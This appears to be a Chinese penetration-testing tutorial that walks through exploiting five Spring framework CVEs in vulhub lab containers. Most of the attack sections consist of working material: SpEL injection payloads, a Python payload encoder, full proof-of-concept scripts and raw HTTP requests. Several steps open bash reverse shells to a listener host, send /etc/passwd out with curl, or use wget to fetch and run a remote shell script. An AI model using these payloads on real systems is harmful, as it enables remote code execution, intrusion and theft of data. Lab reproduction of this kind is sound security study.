Spring渗透合集

Spring

前言

Spring是 Java EE编程领域的一个轻量级开源框架,该框架是为了解决企业级编程开发中的复杂性,业务逻辑层和其他各层的松耦合问题,因此它将面向接口的编程思想贯穿整个系统应用,实现敏捷开发的应用型框架。

框架的主要优势之一就是其分层架构,分层架构允许使用者选择使用哪一个组件,同时为J2EE应用程序开发提供集成的框架

简单组件介绍

Spring发展至今,整个体系不断壮大,这里只简单介绍一些组件。
首先是 Spring Websocket,Spring内置简单消息代理。这个代理处理来自客户端的订阅请求,将它们存储在内存中,并将消息广播到具有匹配目标的连接客户端。

Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,其主要目标是使数据库的访问变得方便快捷。

Spring Data Commons是 Spring Data下所有子项目共享的基础框架,Spring Data家族中的所有实现都是基于 Spring Data Commons。

简单点说,Spring Data REST把我们需要编写的大量REST模版接口做了自动化实现,并符合HAL的规范

Spring Web Flow是Spring MVC的扩展,它支持开发基于流程的应用程序,可以将流程的定乂和实现流程行为的类和视图分离开来

Spring渗透

Spring Security OAuth2远程命令执行突破(CVE-2016-4977)

影响版本

  1. 2.0.0-2.0.9
  2. 1.0.0-1.0.5

漏洞搭建

还是使用P牛的靶场

  1. cd vulhub-master/spring/CVE-2016-4977
  2. sudo docker-compose up -d

image-20210521080906589

漏洞复现

访问

  1. http://192.168.175.209:8080/

image-20210521081105117

漏洞验证

访问该url 会进行登录验证

  1. http://192.168.175.209:8080/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test

image-20210521081127941

默认账号密码是

  1. admin
  2. admin

登录成功

image-20210521081210298

Poc

我们看一下vulhub提供的Poc

  1. #!/usr/bin/env python
  2. message = input('Enter message to encode:')
  3. poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
  4. for ch in message[1:]:
  5. poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
  6. poc += ')}'
  7. print(poc)

这里是java的命令执行

image-20210521082836766

执行一下poc.py

image-20210521082811068

测试RCE

我们执行的命令是whoami 把回显放到表达式中

执行一下

  1. http://192.168.175.209:8080/oauth/authorize?response_type=${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(119).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(105)))}&client_id=acme&scope=openid&redirect_uri=http://test

执行成功

image-20210521083111824

这里注意:只是返回了进程,但实际上是命令执行

这是无回显RCE

测试XXE

先在bash下做测试

  1. curl 192.168.175.130:8888 -d "$(cat /etc/passwd)"
  2. nc -lvp 8888

image-20210521084442961

image-20210521084453479

那么就将该命令放入poc中生成最终的payload

image-20210521084757291

  1. http://192.168.175.209:8080/oauth/authorize?response_type=${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(49)).concat(T(java.lang.Character).toString(57)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(49)).concat(T(java.lang.Character).toString(54)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(49)).concat(T(java.lang.Character).toString(55)).concat(T(java.lang.Character).toString(53)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(49)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(48)).concat(T(java.lang.Character).toString(58)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(34)).concat(T(java.lang.Character).toString(36)).concat(T(java.lang.Character).toString(40)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(41)).concat(T(java.lang.Character).toString(34)).concat(T(java.lang.Character).toString(32)))}
  2. &client_id=acme&scope=openid&redirect_uri=http://test

image-20210521084905830

执行成功

但是这边nc反弹之后 后面没有东西了

image-20210521085003681

踩坑记录:

image-20210521085950628

  1. curl 192.168.175.130:8888 -d "$(cat /etc/passwd)"
  2. bash -c {echo,Y3VybCAxOTIuMTY4LjE3NS4xMzA6ODg4OCAtZCAiJChjYXQgL2V0Yy9wYXNzd2QpIiA=}|{base64,-d}|{bash,-i}

image-20210521090037876

image-20210521090154377

最终的payload

  1. http://192.168.175.209:8080/oauth/authorize?response_type=${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(86)).concat(T(java.lang.Character).toString(121)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(54)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(68)).concat(T(java.lang.Character).toString(103)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(90)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(88)).concat(T(java.lang.Character).toString(81)).concat(T(java.lang.Character).toString(103)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(86)).concat(T(java.lang.Character).toString(48)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(121)).concat(T(java.lang.Character).toString(57)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(88)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(81)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(61)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(54)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(125)))}
  2. &client_id=acme&scope=openid&redirect_uri=http://test

执行之后 成功回显

image-20210521090244473

image-20210521090223786

反弹shell

那么这边我直接反弹shell了

上java编码的网站

  1. http://www.jackson-t.ca/runtime-exec-payloads.html

image-20210521085321594

  1. bash -i >& /dev/tcp/192.168.175.130/8888 0>&1
  2. bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NS4xMzAvODg4OCAwPiYx}|{base64,-d}|{bash,-i}

将该命令放入Poc中

image-20210521085526917

最终的payload:

  1. http://192.168.175.209:8080/oauth/authorize?response_type=${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(70)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(43)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(90)).concat(T(java.lang.Character).toString(71)).concat(T(java.lang.Character).toString(86)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(68)).concat(T(java.lang.Character).toString(103)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(80)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(54)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(125)))}&client_id=acme&scope=openid&redirect_uri=http://test

执行一下

image-20210521085717667

成功拿到shell

image-20210521085734350

优化Poc

  1. #!/usr/bin/env python
  2. import base64
  3. message = input('Enter message to encode:')
  4. message = 'bash -c {echo,%s}|{base64,-d}|{bash,-i}' % bytes.decode(base64.b64encode(message.encode('utf-8')))
  5. print(message)
  6. poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
  7. for ch in message[1:]:
  8. poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
  9. poc += ')}'
  10. print(poc)

image-20210521090415010

image-20210521090655856

最终的payload

  1. http://192.168.175.209:8080/oauth/authorize?response_type=${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(86)).concat(T(java.lang.Character).toString(121)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(54)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(68)).concat(T(java.lang.Character).toString(103)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(90)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(88)).concat(T(java.lang.Character).toString(81)).concat(T(java.lang.Character).toString(103)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(86)).concat(T(java.lang.Character).toString(48)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(121)).concat(T(java.lang.Character).toString(57)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(88)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(81)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(61)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(54)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(125)))}&client_id=acme&scope=openid&redirect_uri=http://test

执行成功后

image-20210521090725948

成功回显

image-20210521090738364

Spring Web Flow框架远程代码执行(CVE-2017-4971)

影响版本

  1. Spring WebFlow 2.4.0 - 2.4.4

触发漏洞需要的两个条件

  1. 1.MvcViewFactoryCreator对象的 useSpringBeanBinding参数需要设置为 false(默认值)
  2. 2.flow view对象中设置 BinderConfiguration对象为空

漏洞搭建

关闭之前的docker镜像

image-20210521094032174

还是使用vulhub进行搭建

  1. cd vulhub-master/spring/CVE-2017-4971
  2. sudo docker-compose up -d

image-20210521094341522

漏洞复现

漏洞验证

访问

  1. http://192.168.175.209:8080/login

image-20210521094412376

用任意账号/密码登录系统

image-20210521094430216

image-20210521094611129

然后访问id=1的酒店地址

image-20210521094725512

image-20210521095055636

然后进行抓包

image-20210521095217172

image-20210521095326142

Poc(反弹shell)

  1. _(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/192.168.175.130/8888 0>&1")).start()=vulhub
  2. URL编码后:
  3. _(new java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.175.130/8888 0>%261")).start()=vulhub

进行执行

image-20210521101939418

成功拿到反弹shell

image-20210521101957457

EXP拓展

执行命令

  1. &_T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")
  2. 或者
  3. &_(new+java.lang.ProcessBuilder("touch /tmp/success2")).start()=test

image-20210521102426141

image-20210521102447095

远程下载脚本 并执行

  1. &_T(java.lang.Runtime).getRuntime().exec("/usr/bin/wget -qO /tmp/1 http://192.168.175.130:8888/1")
  2. &_T(java.lang.Runtime).getRuntime().exec("/bin/bash /tmp/1")

Spring data Rest远程命令执行命令(CVE-2017-8046)

影响版本

  1. Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3
  2. Spring Boot version < 2.0.0M4
  3. Spring Data release trains < Kay-RC3

漏洞搭建

关闭之前的docker镜像

image-20210521102823896

  1. cd vulhub-master/spring/CVE-2017-8046
  2. sudo docker-compose up -d

image-20210521103116167

漏洞复现

访问

image-20210521103134848

漏洞验证

访问

  1. http://192.168.175.209:8080/customers/1

image-20210521103330023

进行抓包

image-20210521103417353

修改成PATCH请求

Poc

  1. PATCH /customers/1 HTTP/1.1
  2. Host: 192.168.175.209:8080
  3. Accept-Encoding: gzip, deflate
  4. Accept: */*
  5. Accept-Language: en
  6. User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
  7. Connection: close
  8. Content-Type: application/json-patch+json
  9. Content-Length: 210
  10. [{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]

进行执行

image-20210521104331898

然后我们去docker底层看一下

可以看到是成功创建的

image-20210521123013062

Poc原理+反弹shell

  1. ",".join(map(str, (map(ord,"touch /tmp/a001"))))
  2. '116,111,117,99,104,32,47,116,109,112,47,97,48,48,49'

image-20210521123140977

反弹shell

  1. bash -i >&amp; /dev/tcp/192.168.175.130/8888 0>&amp;1
  2. bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NS4xMzAvODg4OCAwPiYx}|{base64,-d}|{bash,-i}

image-20210521124108717

  1. ",".join(map(str, (map(ord,"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NS4xMzAvODg4OCAwPiYx}|{base64,-d}|{bash,-i}"))))

image-20210521124214334

  1. 98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,69,51,78,83,52,120,77,122,65,118,79,68,103,52,79,67,65,119,80,105,89,120,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125

进行执行

image-20210521124336095

成功反弹shell

image-20210521124346504

Spring Messaging远程命令执行突破(CVE2018-1270)

影响版本

  1. Spring Framework 5.0 to 5.0.4.
  2. Spring Framework 4.3 to 4.3.14
  3. 已经不支持的旧版本依然受到影响

漏洞搭建

  1. cd
  2. sudo docker-compose up -d

image-20210522092202285

漏洞复现

image-20210522092220807

访问

  1. http://192.168.175.209:8080/gs-guide-websocket

image-20210522092400364

Poc

  1. #!/usr/bin/env python3
  2. import requests
  3. import random
  4. import string
  5. import time
  6. import threading
  7. import logging
  8. import sys
  9. import json
  10. logging.basicConfig(stream=sys.stdout, level=logging.INFO)
  11. def random_str(length):
  12. letters = string.ascii_lowercase + string.digits
  13. return ''.join(random.choice(letters) for c in range(length))
  14. class SockJS(threading.Thread):
  15. def __init__(self, url, *args, **kwargs):
  16. super().__init__(*args, **kwargs)
  17. self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
  18. self.daemon = True
  19. self.session = requests.session()
  20. self.session.headers = {
  21. 'Referer': url,
  22. 'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
  23. }
  24. self.t = int(time.time()*1000)
  25. def run(self):
  26. url = f'{self.base}/htmlfile?c=_jp.vulhub'
  27. response = self.session.get(url, stream=True)
  28. for line in response.iter_lines():
  29. time.sleep(0.5)
  30. def send(self, command, headers, body=''):
  31. data = [command.upper(), '\n']
  32. data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))
  33. data.append('\n\n')
  34. data.append(body)
  35. data.append('\x00')
  36. data = json.dumps([''.join(data)])
  37. response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)
  38. if response.status_code != 204:
  39. logging.info(f"send '{command}' data error.")
  40. else:
  41. logging.info(f"send '{command}' data success.")
  42. def __del__(self):
  43. self.session.close()
  44. sockjs = SockJS('http://your-ip:8080/gs-guide-websocket')
  45. sockjs.start()
  46. time.sleep(1)
  47. sockjs.send('connect', {
  48. 'accept-version': '1.1,1.0',
  49. 'heart-beat': '10000,10000'
  50. })
  51. sockjs.send('subscribe', {
  52. 'selector': "T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')",
  53. 'id': 'sub-0',
  54. 'destination': '/topic/greetings'
  55. })
  56. data = json.dumps({'name': 'vulhub'})
  57. sockjs.send('send', {
  58. 'content-length': len(data),
  59. 'destination': '/app/hello'
  60. }, data)

然后我们这里要进行修改 所以Poc并不通用

image-20210522093127253

一个是被攻击的IP

一个是执行的命令

一个是名字

进行修改后

image-20210522093214720

进行执行

image-20210522093250917

去docker底层查看执行是否成功

image-20210522093404508

Poc-2-反弹shell

  1. #!/usr/bin/env python3
  2. import requests
  3. import random
  4. import string
  5. import time
  6. import threading
  7. import logging
  8. import sys
  9. import json
  10. logging.basicConfig(stream=sys.stdout, level=logging.INFO)
  11. def random_str(length):
  12. letters = string.ascii_lowercase + string.digits
  13. return ''.join(random.choice(letters) for c in range(length))
  14. class SockJS(threading.Thread):
  15. def __init__(self, url, *args, **kwargs):
  16. super().__init__(*args, **kwargs)
  17. self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
  18. self.daemon = True
  19. self.session = requests.session()
  20. self.session.headers = {
  21. 'Referer': url,
  22. 'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
  23. }
  24. self.t = int(time.time()*1000)
  25. def run(self):
  26. url = f'{self.base}/htmlfile?c=_jp.vulhub'
  27. response = self.session.get(url, stream=True)
  28. for line in response.iter_lines():
  29. time.sleep(0.5)
  30. def send(self, command, headers, body=''):
  31. data = [command.upper(), '\n']
  32. data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))
  33. data.append('\n\n')
  34. data.append(body)
  35. data.append('\x00')
  36. data = json.dumps([''.join(data)])
  37. response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)
  38. if response.status_code != 204:
  39. logging.info(f"send '{command}' data error.")
  40. else:
  41. logging.info(f"send '{command}' data success.")
  42. def __del__(self):
  43. self.session.close()
  44. sockjs = SockJS('http://192.168.253.7:8080/gs-guide-websocket')
  45. sockjs.start()
  46. time.sleep(1)
  47. sockjs.send('connect', {
  48. 'accept-version': '1.1,1.0',
  49. 'heart-beat': '10000,10000'
  50. })
  51. sockjs.send('subscribe', {
  52. 'selector': "T(java.lang.Runtime).getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI1My42NS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}')",
  53. 'id': 'sub-0',
  54. 'destination': '/topic/greetings'
  55. })
  56. data = json.dumps({'name': 'vulhub'})
  57. sockjs.send('send', {
  58. 'content-length': len(data),
  59. 'destination': '/app/hello'
  60. }, data)

同样也是需要修改的

上java编码的网站

  1. http://www.jackson-t.ca/runtime-exec-payloads.html

image-20210521085321594

  1. bash -i >&amp; /dev/tcp/192.168.175.130/8888 0>&amp;1
  2. bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NS4xMzAvODg4OCAwPiYx}|{base64,-d}|{bash,-i}

进行修改

image-20210522093745956

执行poc

image-20210522093816453

成功拿到反弹shell

image-20210522093836061

Spring Data Commons远程命令执行漏洞(CVE-2018-1273)

影响版本

  1. Spring Data Commons 1.13~1.13.10(Ingalls SR10)
  2. Spring Data REST 2.6~2.6.10(Ingalls SR10)
  3. Spring Data Commons 2.0~2.0.5(Kay SR5)
  4. Spring Data Rest 3.0~3.0 5(Kay SR5)
  5. 较旧的不受支持的版本也会受到影响

漏洞搭建

  1. cd vulhub-master/spring/CVE-2018-1273
  2. sudo docker-compose up -d

image-20210522094338512

漏洞复现

访问

  1. http://192.168.175.209:8080/users

image-20210522094409667

漏洞验证

进行抓包

image-20210522094709560

Poc

  1. POST /users?page=&amp;size=5 HTTP/1.1
  2. Host: 192.168.175.209:8080
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Accept-Encoding: gzip, deflate
  7. Content-Type: application/x-www-form-urlencoded
  8. Content-Length: 121
  9. Origin: http://192.168.175.209:8080
  10. Connection: close
  11. Referer: http://192.168.175.209:8080/users
  12. Upgrade-Insecure-Requests: 1
  13. username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/a001")]=&amp;password=&amp;repeatedPassword=

image-20210522094845931

执行之后呢 我们可以去docker底层看一下

image-20210522094958191

Poc-2-反弹shell

bash反弹一句话

image-20210522095153542

python开启http服务

image-20210522095232922

上传sh脚本

  1. /usr/bin/wget -qO /tmp/a002 http://192.168.175.130:9999/shell.sh

进行执行

image-20210522095354596

然后继续去docker底层看一下

可以看到成功写入

image-20210522095552456

然后进行执行sh脚本

  1. /bin/bash /tmp/a002

image-20210522095701465

成功拿到反弹shell

image-20210522095743196

总结

Spring其中关键的5个部分,分别是

  1. spring frameworkspringbootspring cloudspring securityspring mvc

其中的 spring framework就是大家常常提到的 spring,这是所有 sprIng内容最基本的底层架构,其包含 spring mvc、springboot、spring core、IOC和AOP等等

Spring mvc就是 spring中的一个MVC框架,主要用来开发web应用和网络接口,但是其使用之前需要配置大量的xml文件,比较繁琐

